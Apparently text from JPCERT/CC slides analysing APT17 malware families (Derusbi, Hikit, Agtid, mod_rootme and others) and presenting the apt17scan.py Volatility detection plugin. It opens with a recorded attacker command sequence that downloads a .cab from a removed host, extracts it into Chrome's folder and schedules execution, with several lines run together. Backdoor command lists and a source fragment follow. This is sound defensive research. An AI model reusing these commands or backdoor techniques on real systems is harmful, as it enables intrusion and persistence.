echo 123 >c:\PROGRA~1\Google\Chrome\Application\1.txt
dir c:\PROGRA~1\Google\Chrome\Application\downonly http://<removed>/1.cab -savefile d:\temp\1.cab
dir d:\temp\*.cab
wusa d:\temp\1.cab /quiet /extract:C:\c:\PROGRA~1\Google\Chrome\Application\wusa d:\temp\1.cab /quiet /extract:c:\PROGRA~1\Google\Chrome\Application\dir c:\PROGRA~1\Google\Chrome\Application\at 4:08 c:\PROGRA~1\Google\Chrome\Application\chrome.exe
tasklist /svc
c:\PROGRA~1\Google\Chrome\Application\chrome.exe
tasklist```
Malware (Intrusion)

**HTTP bot with basic functions**

**Command list**

<table>
<thead>
<tr>
<th>command</th>
<th>info</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Get disk information</td>
</tr>
<tr>
<td>2</td>
<td>File list</td>
</tr>
<tr>
<td>3</td>
<td>Open file</td>
</tr>
<tr>
<td>4</td>
<td>Upload file</td>
</tr>
<tr>
<td>5</td>
<td>Create file</td>
</tr>
<tr>
<td>7</td>
<td>Load file</td>
</tr>
<tr>
<td>8</td>
<td></td>
</tr>
<tr>
<td>9</td>
<td>Delete file</td>
</tr>
<tr>
<td>10</td>
<td>Delete file/folder</td>
</tr>
<tr>
<td>11</td>
<td>Upload file</td>
</tr>
<tr>
<td>12</td>
<td>Create folder</td>
</tr>
<tr>
<td>13</td>
<td>Move file</td>
</tr>
</tbody>
</table>

BlackCoffee  McRAT  Preshin  Agtid
## Malware (Concealing)

### Malware with Rootkit functions

#### Command list

<table>
<thead>
<tr>
<th>command</th>
<th>info</th>
</tr>
</thead>
<tbody>
<tr>
<td>file</td>
<td>File related operation</td>
</tr>
<tr>
<td>information</td>
<td>Send configuration information</td>
</tr>
<tr>
<td>proxy</td>
<td>Enable Proxy settings</td>
</tr>
<tr>
<td>connect</td>
<td>Connect to Hikit proxy</td>
</tr>
<tr>
<td>shell</td>
<td>Run remote shell command</td>
</tr>
<tr>
<td>socks5</td>
<td>Enable Proxy settings (socks5)</td>
</tr>
<tr>
<td>exit</td>
<td>Terminate</td>
</tr>
</tbody>
</table>
Hikit Configuration Information

Hikit has proxy information of the internal network

<table>
<thead>
<tr>
<th>ID</th>
<th>Target name</th>
<th>Proxy info</th>
</tr>
</thead>
<tbody>
<tr>
<td>M_8BE0, test</td>
<td>.jp</td>
<td></td>
</tr>
</tbody>
</table>

**Rootkit setting**

- **Server setting1**
  - Server: ...
  - Port: 443

- **Server setting2**
  - Server: ...
  - Port: 0

- **Start Time**: 00:00:00
- **Stop Time**: 00:00:00
- **Work Day (Enable: 1 Disable: 0)**
  - Mon: 1 Tue: 1 Wed: 1 Thu: 1 Fir: 1 Sat: 1 Sun: 1
- **Sleep Until**: 0:0:0 0:0:0
- **Hide Flag**: Disable
Malware (Concealing)

Malware recently often used

Command list

<table>
<thead>
<tr>
<th>command</th>
<th>info</th>
</tr>
</thead>
<tbody>
<tr>
<td>cmd4</td>
<td>Service/Process related operation</td>
</tr>
<tr>
<td>cmd5</td>
<td>Run remote shell command</td>
</tr>
<tr>
<td>cmd6</td>
<td>Connect to Derusbi proxy</td>
</tr>
<tr>
<td>cmd7</td>
<td>File operation</td>
</tr>
<tr>
<td>cmd8</td>
<td>Terminate</td>
</tr>
<tr>
<td>cmd9</td>
<td>Create/Delete file</td>
</tr>
</tbody>
</table>
Derusbi Configuration Information

Derusbi has proxy information of the internal network

```
[Derusbi Config Info]
ID : 20150126
Server list : .140:443,.140:80
Sleep time : 1
Service name? : wuauserv
Connect mode : 4 (HTTP POST)
Proxy setting 1
   Server : 
   User : 
   Password : 
Proxy setting 2
   Server : 
   User : 
   Password : 
Proxy setting 3
   Server : 
   User : 
   Password :
```
# Code Signing Certificate

<table>
<thead>
<tr>
<th>Identity</th>
<th>Type</th>
<th>Country</th>
</tr>
</thead>
<tbody>
<tr>
<td>System Integrator</td>
<td>exe</td>
<td>Japan</td>
</tr>
<tr>
<td>Software Vendor</td>
<td>exe</td>
<td>Japan</td>
</tr>
<tr>
<td>Software Vendor</td>
<td>exe</td>
<td>Korea</td>
</tr>
<tr>
<td>Automaker</td>
<td>exe</td>
<td>Korea</td>
</tr>
<tr>
<td>Heavy Industry</td>
<td>jar</td>
<td>Korea</td>
</tr>
<tr>
<td>Software Vendor</td>
<td>exe</td>
<td>Korea</td>
</tr>
<tr>
<td>Electronics Industry</td>
<td>jar</td>
<td>Korea</td>
</tr>
<tr>
<td>Software Vendor</td>
<td>exe</td>
<td>Korea</td>
</tr>
</tbody>
</table>
Infrastructure Used by Attackers

Japan

Targeted Organization

Web Server

Backdoor

Overseas Server

Attacker’s Server

C2 Server

iptables
Linux Backdoor

mod_rootme

- apache module
- Runs a remote shell by sending a keyword

mod_rootme source

```c
#define EXIT_STRING "\xFF\x01\xFF\x02"
#define ROOT_KEY "Roronoa"
#define ROOT_KEY2 "Roronoa+

int pidlist[MAX_SHELLS];
int pipe_A[MAX_SHELLS][2];
int pipe_B[MAX_SHELLS];
#define HIDE_SHELL
extern module context;

void process_client( int client_fd );
void runshell_pth( int rd_pipe, int wr_pipe );
void runshell_pth( int rd_pipe, int wr_pipe );
```
## Linux Backdoor

**rs_linux**

- Highly sophisticated Linux bot

<table>
<thead>
<tr>
<th>Function</th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>MyNetstat</td>
<td>CreateShell</td>
<td>Mymkdir</td>
</tr>
<tr>
<td>PortTunnelGet</td>
<td>GetFileSource</td>
<td>Mymkfile</td>
</tr>
<tr>
<td>PortTunnel_RemoteClose</td>
<td>MyPs</td>
<td>Myrmfile</td>
</tr>
<tr>
<td>PortTunnel_Show</td>
<td>KillByPid</td>
<td>Myrmkdir</td>
</tr>
<tr>
<td>CreatePortTunnel</td>
<td>NewConnectTo</td>
<td>ListDir</td>
</tr>
<tr>
<td>PortForward</td>
<td>StartPutFile</td>
<td>my_reboot</td>
</tr>
<tr>
<td>PortForward_Show</td>
<td>PutFileDest</td>
<td>ShowHide</td>
</tr>
<tr>
<td>PortForward_Close</td>
<td>ShellServer</td>
<td>SwitchHide</td>
</tr>
</tbody>
</table>
ANALYSIS TOOLS

apt17scan.py
apt17scan.py

- Volatility Plugin
- Detect malware in memory dump
- Extract malware configuration information

Function

- apt17scan
- derusbiconfig
- hikitconfig
- agtidconfig
apt17scan.py

Scan with YARA

Search configuration data address

Parse configuration data

Dump configuration
apt17scan.py

apt17scan  Detecting Malware

Agtid  Hikit  McRAT
Preshin  BlackCoffee  Derusbi

```
mal@works:/opt/vol2.4$ python vol.py --plugins=contrib/plugins/malware apt17scan -f mem.image --profile=Win7SP1x86
Volatility Foundation Volatility Framework 2.4
Name               PID   Data VA          Malware Name
----------------- ------ --------------- ---------------
regsvr32.exe      3024  0x1000000000 Derusbi
regsvr32.exe      3632  0x1000000000 Derusbi
regsvr32.exe      2720  0x001f0000 Hikit
regsvr32.exe      2952  0x003e0000 BlackCoffee
rundll32.exe      3108  0x100000000 Agtid
Appdata.exe       3196  0x0002000000 Agtid
rundll32.exe      2360  0x004e0000 Preshin
```
apt17scan.py

derusbiconfig Dump configuration information for Derusbi

mal@works:/opt/vol2.4$ python vol.py --plugins=contrib/plugins/malware
derusbiconfig -f mem.image --profile=Win7SP1x86
Volutility Foundation Volatility Framework 2.4

Derusbi Config (Address: 0x10004778):

Process: regsvr32.exe (3632)

[Derusbi Config Info]
ID : [Redacted]
Server list : [140:443, 140:80]
Sleep time : 1
Service name? : wuauserv
Connect mode : 4 (HTTP POST)
Proxy setting 1
  Server : [Redacted]:8080
  User : [Redacted]
  Password : [Redacted]
Proxy setting 2
  Server : [Redacted]:8080
  User : [Redacted]
  Password : [Redacted]
Proxy setting 3
  Server : [Redacted]
  User : [Redacted]
  Password : [Redacted]
# apt17scan.py

**hikitconfig** Dump configuration information for Hikit

```
mal@works:/opt/vol2.4$ python vol.py --plugins=contrib/plugins/malware hikitconfig -f mem.image --profile=Win7SP1x86
Volatility Foundation Volatility Framework 2.4

---------
Hikit Config (Address: 0x21af10):

Process: regsvr32.exe (2720)

[Hikity Config Info]
ID : M_8BE0, test
Proxy setting
  Type : 1
  Server : [REDACTED].jp
  User :
  Password :
Server setting1
  Server : [REDACTED].113
  Port : 443
Server setting2
  Server :
  Port : 0
Start Time : 00:00:00
Stop Time : 00:00:00
Work Day (Enable: 1 Disable: 0)
  Mon: 1 Tue: 1 Wed: 1 Thu: 1 Fir: 1 Sat: 1 Sun: 1
Sleep Until : 0:0:0
Hide Flag : Disable
```
apt17scan.py

agtidconfig Dump configuration information for Agtid

```bash
mal@works:/opt/vol2.4$ python vol.py --plugins=contrib/plugins/malware agtidconfig -f mem.image --profile=Win7SP1x86
Volatility Foundation Volatility Framework 2.4

--------------
Agtid Config (Address: 0x10008410):

Process: rundll32.exe (3108)

[Agtid Config Info]
Server : [redacted].102
Port : 443
Version : 0820
ID : 001
Running count : 1000000
Sleep time : 3
```
DEMO
How to Download

https://github.com/JPCERTCC
Thank You!

Contact
- aa-info@jpcert.or.jp
- https://www.jpcert.or.jp

Incident Report
- info@jpcert.or.jp
- https://www.jpcert.or.jp/form/